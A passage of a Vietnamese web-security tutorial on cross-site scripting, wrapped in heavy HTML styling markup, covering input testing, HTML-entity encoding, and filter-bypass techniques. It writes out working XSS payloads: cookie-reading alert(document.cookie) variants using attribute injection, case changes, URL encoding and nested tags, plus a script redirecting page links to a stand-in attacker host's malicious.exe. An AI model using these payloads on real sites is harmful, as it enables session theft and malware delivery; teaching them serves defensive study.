class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; font-family: "Times New Roman", serif; font-size: 11pt; margin: 0px 0px 0px 48px; overflow: visible; padding: 0px; position: relative; vertical-align: baseline;"><div class="Paragraph SCX49007267" paraeid="{7a4ef271-57f7-49e1-86a2-6fd7a10f8ed3}{220}" paraid="815936345" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Đối với mỗi giá trị đầu vào</span><span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US"> ta phải thực hiện việc phân tích kết quả và xác định nguy cơ về lỗ hổng mà nó có thể mang lại. Ta phải kiểm tra các kết quả HTML của trang web và tìm kiếm các đầu vào thử nghiệm phù hợp. Sau khi tìm được lỗi, xác định các kí tự đặc biệt không được mã hóa đúng cách, thay thế hoặc lọc các kí tự đó. </span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </li> </ol> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{7a4ef271-57f7-49e1-86a2-6fd7a10f8ed3}{223}" paraid="262393248" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 48px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Tốt nhất là các kí tự đó được thay thế bằng các thực thể HTML. Các đối tượng chính để xác định:</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{7a4ef271-57f7-49e1-86a2-6fd7a10f8ed3}{226}" paraid="1110428964" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 48px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">>, <, &, ‘, “</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{7a4ef271-57f7-49e1-86a2-6fd7a10f8ed3}{230}" paraid="840093089" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 10pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US"><b>Ex1</b>:</span><span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US"> http://example.com/index.php?user=<script>alert(123)</script></span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{7a4ef271-57f7-49e1-86a2-6fd7a10f8ed3}{233}" paraid="1968893563" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Khi victim click vào link trên thì đoạn mã script sẽ được thực thi trên máy của victim. Cụ thể trong trường hợp này mã script chỉ hiển thị ra đoạn kí tự 123 trên popup màn hình của victim.</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{7a4ef271-57f7-49e1-86a2-6fd7a10f8ed3}{236}" paraid="2060414821" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); </span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{7a4ef271-57f7-49e1-86a2-6fd7a10f8ed3}{239}" paraid="98980480" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{7a4ef271-57f7-49e1-86a2-6fd7a10f8ed3}{242}" paraid="42121849" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Khi người dùng click vào link trên thì trình duyệt sẽ download tệp tin malicious.exe từ server của attacker điều khiển.</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{7a4ef271-57f7-49e1-86a2-6fd7a10f8ed3}{245}" paraid="1024094368" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; font-weight: bold; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Bypass XSS filters(Vượt qua bộ lọc)</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{7a4ef271-57f7-49e1-86a2-6fd7a10f8ed3}{248}" paraid="1024551318" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US"><b>Ex3</b>: </span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{7a4ef271-57f7-49e1-86a2-6fd7a10f8ed3}{251}" paraid="638916812" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Khi các bộ lọc này dựa trên một black list, thì họ sẽ không thể chặn tất cả các biểu thức. Đôi khi có trường hợp tấn công XSS mà không cần sử dụng tới thẻ <script> và các kí tự như “ < > và /.</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{7a4ef271-57f7-49e1-86a2-6fd7a10f8ed3}{254}" paraid="1574457881" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Ví dụ: </span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{2}" paraid="346061119" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Trong ứng dụng có sử dụng đoạn code sau:</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{5}" paraid="1144014442" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US"><input type="text" name="state" value="INPUT_FROM_USER"></span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> </div> <div class="SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; padding: 0px;"> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{8}" paraid="343073110" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Sau đó attacker có thể submit một đoạn code sau:</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{11}" paraid="1035649899" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">" onfocus="alert(document.cookie)</span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{14}" paraid="1855138583" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Khi đó value=”” onfocus=”alert(document.cookie)” dẫn tới đoạn mã sẽ được thực hiện.</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{16}" paraid="1610345927" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <br /></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{19}" paraid="977278012" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US"><b>Ex4</b>: trong một số trường hợp các bộ lọc chỉ lọc các kí tự đơn giản. Ta có thể vượt qua bằng cách thay đổi một số giá trị trong cú pháp hoặc enconding.</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{22}" paraid="1136302370" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Ví dụ:</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{25}" paraid="1880152035" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">"><script >alert(document.cookie)</script ></span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{28}" paraid="2036160454" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">"><ScRiPt>alert(document.cookie)</ScRiPt></span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{31}" paraid="1240716506" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">"%3cscript%3ealert(document.cookie)%3c/script%3e</span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{33}" paraid="1034105156" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <br /></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div aria-level="4" class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{38}" paraid="2146566885" role="heading" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; color: #4f81bd; font-size: 6pt; font-style: italic; font-weight: bold; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="color: black; font-family: "times new roman" , serif; font-size: 11pt; font-style: normal; line-height: 17px; margin: 0px; padding: 0px;" xml:lang="EN-US">Ex5:</span><span class="TextRun SCX49007267" lang="EN-US" style="color: black; font-family: "times new roman" , serif; font-size: 11pt; line-height: 17px; margin: 0px; padding: 0px;" xml:lang="EN-US"> </span><span class="TextRun SCX49007267" lang="EN-US" style="color: black; font-family: "arial" , sans-serif; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">Bypassing non-recursive filtering</span><span class="EOP SCX49007267" style="font-family: "arial" , sans-serif; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{41}" paraid="1408342998" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Trong một số trường hợp việc thực hiện việc lọc đầu vào không được thực hiện đệ quy. Trong trường hợp này attacker có thể vượt qua bộ lọc bằng cách gửi một đoạn mã có dạng như sau:</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{44}" paraid="2074189606" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US"><scr<script>ipt>alert(document.cookie)</script></span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{47}" paraid="1851610138" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Khi đó bộ lọc thực hiện chỉ 1 lần và loại bỏ đi thẻ mở <script></span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <ul class="BulletListStyle1 SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; cursor: text; font-family: verdana; margin: 0px; overflow: visible; padding: 0px;"> <li class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; font-family: "Times New Roman", serif; font-size: 11pt; margin: 0px 0px 0px 48px; overflow: visible; padding: 0px; position: relative; vertical-align: baseline;"><div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{51}" paraid="412705708" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Code: <script>alert(document.cookie)</script></span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </li> </ul> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div aria-level="4" class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{54}" paraid="802082557" role="heading" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; color: #4f81bd; font-size: 6pt; font-style: italic; font-weight: bold; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="color: black; font-family: "arial" , sans-serif; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">Example 6: Including external script</span><span class="EOP SCX49007267" style="font-family: "arial" , sans-serif; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{57}" paraid="1779965120" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; text-align: justify; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Đoạn mã kiểm tra đầu vào của ứng dụng web:</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; 